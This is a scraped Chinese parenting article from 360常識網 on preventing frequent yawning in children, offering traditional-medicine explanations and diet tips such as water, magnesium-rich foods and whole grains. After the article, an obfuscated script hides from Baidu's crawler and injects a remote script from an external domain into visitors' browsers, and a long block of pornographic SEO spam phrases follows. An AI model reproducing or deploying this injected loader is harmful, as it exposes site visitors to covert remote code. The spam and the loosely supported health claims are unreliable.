當前位置:首頁 > 母嬰 > 育兒知識 > 正文

小孩頻繁打哈欠如何預防

2017-04-11 08:48:51  來源:360常識網   熱度:
導語:小孩子打哈欠是一種十分常見的動作,一般情況下,這種舉動也是屬于正常范疇之內的。不過當一個孩子頻繁出現打哈欠的舉動之時,我們就要引起

小孩子打哈欠是一種十分常見的動作,一般情況下,這種舉動也是屬于正常范疇之內的。不過當一個孩子頻繁出現打哈欠的舉動之時,我們就要引起重視了,這可能是一些疾病的外在表現,這個時候大家最好及時帶孩子檢查一下。不過再多的檢查,還不如日常的預防。那么,究竟該怎么做才能夠預防小孩子頻繁打哈欠呢?下面就來具體說說這個問題。

偶爾打哈欠是由于疲勞機體為了提高供氧量而產生的反射屬于正常生理。但是如果小孩經常打哈欠就不屬于正常的了,從中醫的角度來講是由于心氣不足心神失養所導致的一種癥狀。這是孩子機體功能下降心氣不足從而出現打哈欠。可以服用補養心神的中藥調理。其實打哈欠多在長時間處于慢或淺的呼吸之后發生,引起哈欠的常見原因有過度疲勞、緊張、久坐、專心致志地做作業或閱讀、腰帶束得過緊、房間過熱、通風不良等。

預防方法

1.、水

人體有三分之二是由水構成的,許多人體的基本功能都依賴于這種簡單的物質才能順利進行。因此說“疲倦是最高的脫水信號”也就并不奇怪了。在一日之晨喝上一杯水,不僅有助于保持身體水分,還可以促進新陳代謝。

2、富含鎂的食物

礦物質界的無名英雄鎂元素對能量的產生是至關重要的。缺鎂的情況很少發生,但是多攝入一點鎂元素,可以達到你想要的提神效果。堅果和種子,甜菜和菠菜等綠葉蔬菜都富含礦物質。不要忽略豆腐,豆腐也是富含鎂元素的。

3、全谷類食品

碳水化合物是大腦能量的來源,但在碳水化合物為腦灰質提供能量的同時,也會緩慢消耗持續的能量。通過維持血糖含量,這些碳水化合物有助于保持情緒穩定,并有助于之后的睡眠。地瓜和燕麥片等全谷類食品中都也含有碳水化合物。

如果一個小孩子頻繁出現打哈欠這個舉動的時候,這可能就是患病的表現,這個時候及時的檢查是必須的。在平時的生活之中,為了預防孩子出現這種情況,大家可以做的還是比較多的。比如說,在日常生活中,大家可以經常給孩子喝點開水、常吃含鎂元素的食品以及多吃點全谷類食物等等。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
夜夜高潮夜夜爽国产伦精品| 国内精品伊人久久久久影院对白 | 四虎永久在线精品视频 | 国产叼嘿久久精品久久| 国产精品黄页在线播放免费| 国产精品机视频大陆| 国产成人精品天堂| 91精品啪在线观看国产线免费| 久草视频在线这里精品| 亚洲精品卡2卡3卡4卡5卡区| 香蕉精品视频在线观看| 久久夜色撩人精品国产| 国产精品香蕉在线观看| 国产精品无码一区二区在线观一| 精品不卡一区二区| 精品国产成人在线| 亚洲精品无码久久毛片| 国产在线高清精品二区色五郎| 日韩精品一区二区三区老鸦窝| 含羞草国产亚洲精品岁国产精品| 亚洲熟妇久久精品| 亚洲欧美日韩久久精品| 欧洲精品成人免费视频在线观看| 国产精品臀控福利在线观看| 久久精品久久久久观看99水蜜桃| 亚洲精品在线视频观看| 国产精品入口在线看麻豆| 国产国产成人精品久久| 亚洲精品国产首次亮相| 99er热精品视频| 国产精品情侣自拍| 亚洲精品黄色视频在线观看免费资源| 八区精品色欲人妻综合网| 亚洲精品黄色视频在线观看免费资源 | 久久精品国产99国产精品| 亚洲av无码国产精品色午夜字幕 | 国产成人精品a视频一区| 亚洲精品无码久久毛片| 丰满人妻熟妇乱又仑精品| 中文成人无字幕乱码精品区| 久久精品久久精品久久精品|